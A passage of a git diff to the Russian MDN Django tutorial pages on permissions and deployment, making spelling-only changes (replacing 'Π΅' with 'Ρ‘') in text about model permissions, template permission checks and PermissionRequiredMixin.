Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ для ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, связанныС с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ экзСмплярами ΠΎΠ΄Π½ΠΎΠΉ ΠΈ Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ. ВСстированиС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ Π² прСдставлСниях ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ… ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° тСстированиС ΠΏΠΎ статусу Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ (фактичСски, тСстированиС ΠΏΡ€Π°Π² доступа такТС провСряСт Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ).</p>
<h3 id="МодСли_2">МодСли</h3>
-<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ выполняСтся Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ "<code>class Meta</code>" , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>permissions</code> ΠΏΠΎΠ»Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ, сколько Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ опрСдСляСтся Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅, содСрТащСм имя Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ. НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠ½ΠΈΠ³Π° Π±Ρ‹Π»Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ здСсь:</p>
+<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ выполняСтся Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ "<code>class Meta</code>" , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>permissions</code> ΠΏΠΎΠ»Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ, сколько Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ опрСдСляСтся Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅, содСрТащСм имя Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ. НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠ½ΠΈΠ³Π° Π±Ρ‹Π»Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ здСсь:</p>
<pre class="brush: python notranslate">class BookInstance(models.Model):
...
@@ -619,7 +619,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
<h3 id="Π¨Π°Π±Π»ΠΎΠ½Ρ‹">Π¨Π°Π±Π»ΠΎΠ½Ρ‹</h3>
-<p>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ хранятся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шаблона, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉΒ  <code>\{{Β permsΒ }}</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Β«DjangoΒ» - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>\{{ perms.catalog.can_mark_returned }}</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>True</code> Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΅ΡΡ‚ΡŒ это Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, Π° <code>False</code>Β - Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΡ‹ провСряСм Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ с использованиСм шаблона <code>{%Β ifΒ %}</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²:</p>
+<p>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ хранятся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шаблона, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉΒ  <code>\{{Β permsΒ }}</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Β«DjangoΒ» - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>\{{ perms.catalog.can_mark_returned }}</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>True</code> Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΅ΡΡ‚ΡŒ это Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, Π° <code>False</code>Β - Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΡ‹ провСряСм Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ с использованиСм шаблона <code>{%Β ifΒ %}</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²:</p>
<pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %}
&lt;!-- We can mark a BookInstance as returned. --&gt;
@@ -662,7 +662,7 @@ class MyView(PermissionRequiredMixin, View):
<p>Β Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠΉ ΠΆΠ΅ схСмС, Ρ‡Ρ‚ΠΎ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ прСдставлСния. Π“Π»Π°Π²Π½ΠΎΠ΅ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ прСдставлСниС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ библиотСкарями. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π½Π° основС Ρ‚ΠΎΠ³ΠΎ, являСтся Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ сотрудником (Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:Β  <code>staff_member_required</code>, пСрСмСнная шаблона: <code>user.is_staff</code>) Π½ΠΎ ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π²Π°ΠΌ вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  <code>can_mark_returned</code> Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΈΒ <code>PermissionRequiredMixin</code>, ΠΊΠ°ΠΊ описано Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</p>
<div class="warning">
-<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вашСго ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ Π΄Π»Ρ тСстирования Π½Π° основС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ (ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ true для ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π΄Π°ΠΆΠ΅ Ссли Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ!). ВмСсто этого создайтС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ-библиотСкаря ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ возмоТности.</p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вашСго ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ Π΄Π»Ρ тСстирования Π½Π° основС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ (ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ true для ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π΄Π°ΠΆΠ΅ Ссли Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ!). ВмСсто этого создайтС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ-библиотСкаря ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ возмоТности.</p>
</div>
<p> Когда Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅, ваша страница Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ,Β ΠΊΠ°ΠΊ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ Π½ΠΈΠΆΠ΅.</p>
@@ -674,9 +674,9 @@ class MyView(PermissionRequiredMixin, View):
<h2 id="Подводим_ΠΈΡ‚ΠΎΠ³ΠΈ">Подводим ΠΈΡ‚ΠΎΠ³ΠΈ</h2>
-<p>Β ΠžΡ‚Π»ΠΈΡ‡Π½Π°Ρ Ρ€Π°Π±ΠΎΡ‚Π° - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ создали Π²Π΅Π±-сайт, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ участники Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² систСму ΠΈ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ собствСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΈΒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€ΠΈ (с ΠΏΡ€Π°Π²ΠΎΠΌ доступа) ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΒ Π²ΡΠ΅Β Π·Π°Π΅ΠΌΠ½Ρ‹Π΅Β ΠΊΠ½ΠΈΠ³ΠΈ с их читатСлями. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ всС Π΅Ρ‰Π΅ просто просматриваСм ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π½ΠΎ Ρ‚Π΅ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.</p>
+<p>Β ΠžΡ‚Π»ΠΈΡ‡Π½Π°Ρ Ρ€Π°Π±ΠΎΡ‚Π° - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ создали Π²Π΅Π±-сайт, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ участники Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² систСму ΠΈ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ собствСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΈΒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€ΠΈ (с ΠΏΡ€Π°Π²ΠΎΠΌ доступа) ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΒ Π²ΡΠ΅Β Π·Π°Ρ‘ΠΌΠ½Ρ‹Π΅Β ΠΊΠ½ΠΈΠ³ΠΈ с их читатСлями. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ всС Π΅Ρ‰Ρ‘ просто просматриваСм ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π½ΠΎ Ρ‚Π΅ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.</p>
-<p>Β Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹ Django для сбора ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΡˆΠΈΡ… сохранСнных Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Β Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹ Django для сбора ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΡˆΠΈΡ… сохранённых Π΄Π°Π½Π½Ρ‹Ρ….</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/server-side/django/deployment/index.html b/files/ru/learn/server-side/django/deployment/index.html
index 84601917b8..7fc4e1c101 100644
--- a/files/ru/learn/server-side/django/deployment/index.html
+++ b/files/ru/learn/server-side/django/deployment/index.html
@@ -13,7 +13,7 @@ original_slug: Learn/Server-side/Django/Π Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅
<div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div>
-<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создали (ΠΈ протСстировали) свой ΡˆΠΈΠΊΠ°Ρ€Π½Ρ‹ΠΉ сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, Ρƒ вас скорСС всСго, Π΅ΡΡ‚ΡŒ ΠΆΠ΅Π»Π°Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΌ Π²Π΅Π±-сСрвСрС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ стал доступСн Ρ‡Π΅Ρ€Π΅Π· ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ пСрсоналу  ΠΈ посСтитСлям Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. Данная ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ ΠΎΠ±Ρ‰Π΅Π΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎΠ΄ΠΎΠΉΡ‚ΠΈ ΠΊ поиску хостинга для размСщСния сайта, Π° Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ свой сайт ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</p>
+<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создали (ΠΈ протСстировали) свой ΡˆΠΈΠΊΠ°Ρ€Π½Ρ‹ΠΉ сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, Ρƒ вас скорСС всСго, Π΅ΡΡ‚ΡŒ ΠΆΠ΅Π»Π°Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΌ Π²Π΅Π±-сСрвСрС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ стал доступСн Ρ‡Π΅Ρ€Π΅Π· ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ пСрсоналу  ΠΈ посСтитСлям Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. Данная ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ ΠΎΠ±Ρ‰Π΅Π΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎΠ΄ΠΎΠΉΡ‚ΠΈ ΠΊ поиску хостинга для размСщСния сайта, Π° Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ свой сайт ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -43,16 +43,16 @@ original_slug: Learn/Server-side/Django/Π Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅
